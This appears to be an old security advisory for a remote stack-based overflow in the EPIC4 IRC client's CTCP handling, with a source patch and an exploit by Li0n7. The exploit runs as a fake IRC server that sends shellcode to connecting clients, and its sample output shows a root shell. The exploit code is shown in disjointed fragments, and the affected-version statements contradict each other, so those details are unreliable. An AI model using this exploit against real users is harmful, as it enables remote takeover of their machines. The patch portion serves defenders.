EPIC4 remote exploit acts as an IRC server and makes use of a stack-based overflow in EPIC4 versions later than pre2.003. This exploit yields a shell with the privileges of the user id connecting into the serve.
Credit:
The information has been provided by Stuart Moore, the exploit has been provided by Li0n7.
Vulnerable systems:
* EPIC4 versions later than pre2.003
Immune systems:
* EPIC4 versions prior and including pre2.002
If a rogue server sends us a CTCP request from an extremely large nickname (over about 512 bytes), epic may attempt to alloca() a negative value, which under gcc will return a invalid pointer, the contents of which will then be overwritten.
Patch:
*** source/ctcp.c.orig Fri May 9 17:42:20 2003
--- source/ctcp.c Fri May 9 17:42:37 2003
***************
*** 897,903 ****
int len;
/* Make sure that the final \001 doesnt get truncated */
! len = IRCD_BUFFER_SIZE - (12 + strlen(to));
putbuf2 = alloca(len);
if (format)
--- 897,904 ----
int len;
/* Make sure that the final \001 doesnt get truncated */
! if ((len = IRCD_BUFFER_SIZE - (12 + strlen(to))) < 0)
! return;
putbuf2 = alloca(len);
if (format)
Exploit:
/* EPIC4 remote client-side stack-based overflow
* by Li0n7 - Li0n7[at]voila[dot]fr
*
* EPIC4 versions later than pre2.003 are prone to a remotly exploitable
* stack-based overflow in send_ctcp() (src/ctcp.c). It occurs when
* strlen(to) is greater than IRCD_BUFFER_SIZE-12, then alloca(), that
* doesn't perform any boundary checking, will return a negative pointer
* As a matter of fact, snprintf is called with a negative value as
* maximum data lenght to write at *putbuf2 address (pointing to somewhere
* inside the stack). Since we can control the content of the buffer written
* at *putbuf2 address without any boundary checking, we can easily execute
* arbitrary code.
*
* This exploit works as a fake IRC server, waiting for connection and then
* trying to take advantage of the vulnerabilty by sending a specially CTCP
* request crafted like this: [NOP...SHELLCODE] PRIVMSG a: \001PING [RET]\001\r\n
* This code needs a few changes to work as a bouncer and more targets to be
* really efficient.
*
* usage: %s [-p PORT][-t TARGET][-f FILE][-r RET][-v]
* -p: wait for connection on port <PORT>
* -t: choose the target among the platforms available
* -f: use <FILE> datas as welcome message
* -r: use <RET> as return address
*
*
*$ ./epic4-exp -p 6667 -t 0 -v
*[+] Setting up a fake IRC server...
*[+] Awaiting connection on port 6667
*[!] Connection established with 127.0.0.1
*
*[127.0.0.1] USER request received.
*[127.0.0.1] NICK request received.
*[127.0.0.1] Fake replies sent.
*[127.0.0.1] Ping sent.
*[127.0.0.1] Looking up client version...
*[127.0.0.1] Client version: ircII EPIC4pre2.002 Linux 2.4.20 - Accept no limitations.
*[127.0.0.1] Welcome message sent.
*[127.0.0.1] Building evil string to send (using ret '0xbfffd06b')...
*[127.0.0.1] Evil CTCP request sent.
*
*[+] Let's rock on!
*Linux li0n7 2.4.20 #2 Mon Mar 17 22:02:15 PST 2003 i686 unknown
*uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
*
*/
}
fclose(fd);
strcat(buffer,"\r\n");
}else{
snprintf(buffer,1024,": NOTICE AUTH :*** Welcome dude\n"
": NOTICE AUTH :*** Your host is %s, running client %s\n"
": NOTICE AUTH :*** This server was created in the past\n"
": NOTICE AUTH :*** There are 1 users and 0 services on 0 servers\n"
": NOTICE AUTH :*** I have 1 clients and 0 servers\r\n",host,version);
}
return buffer;
}
long resolve_host(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
addr.s_addr = inet_addr(host_name);
if (addr.s_addr == -1)
{
host_ent = gethostbyname(host_name);
if (!host_ent) return(0);
memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
}
return(addr.s_addr);
}
void
die(char *argv)
{
fprintf(stderr," remote exploit for EPIC4 < pre2.003 by Li0n7@voila.fr\n");
fprintf(stderr," vulnerability reported by Stuart Moore <smoore@securityglobal.net>\n");
fprintf(stderr," usage: %s [-p PORT][-t TARGET][-f FILE][-r RET][-v]\n",argv);
fprintf(stderr,"\t -p: wait for connection on port <PORT>\n");
fprintf(stderr,"\t -t: choose the target among the platforms available\n");
fprintf(stderr,"\t -f: use <FILE> datas as welcome message\n");
fprintf(stderr,"\t -r: use <RET> as return address\n\n");
exit(0);
}